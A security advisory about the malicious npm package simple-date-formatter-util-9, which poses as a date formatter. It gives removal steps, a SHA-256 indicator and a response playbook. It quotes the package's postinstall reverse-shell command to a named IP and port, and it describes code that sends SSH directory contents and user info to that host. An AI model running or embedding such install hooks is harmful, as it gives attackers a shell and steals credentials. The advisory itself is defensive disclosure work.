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Malicious package

simple-date-formatter-util-9npm

Advisory published Updated

simple-date-formatter-util-9 is a confirmed malicious npm package (MAL-2026-11547) that steals credentials and exfiltrates sensitive data (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in simple-date-formatter-util-9 (npm)

MAL-2026-11547
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall simple-date-formatter-util-9

What this malware does

package.json declares a postinstall lifecycle hook that executes bash -i >& /dev/tcp/124.221.154.135/4444 0>&1 &, opening an interactive reverse shell from the installer's host to 124.221.154.135 on TCP/4444 at npm install time. The tarball also ships postinstall.js, which enumerates the installer's ~/.ssh directory with fs.readdirSync and POSTs the results together with os.userInfo() to https://124.221.154.135/post. The package name and 'date formatter' framing are a cover story; the shipped code is an install-time backdoor plus credential-exfiltration payload targeting the installer.

Malicious versions

1 flagged
1.0.0

Indicators of compromise (SHA-256)

3f3571b881ec73a3ebf6f381b14455f9eff112ba2166366858cfca59b56b2840

Detection & response playbook

Credential / info stealer

  1. Find it

    Search your lockfiles and build artifacts for simple-date-formatter-util-9 (version 1.0.0).

  2. If you installed it — respond

    simple-date-formatter-util-9 is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If simple-date-formatter-util-9 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. simple-date-formatter-util-9 on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-011338

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks simple-date-formatter-util-9-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

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simple-date-formatter-util-9 (npm) malicious package — MAL-2026-11547 | O3 Security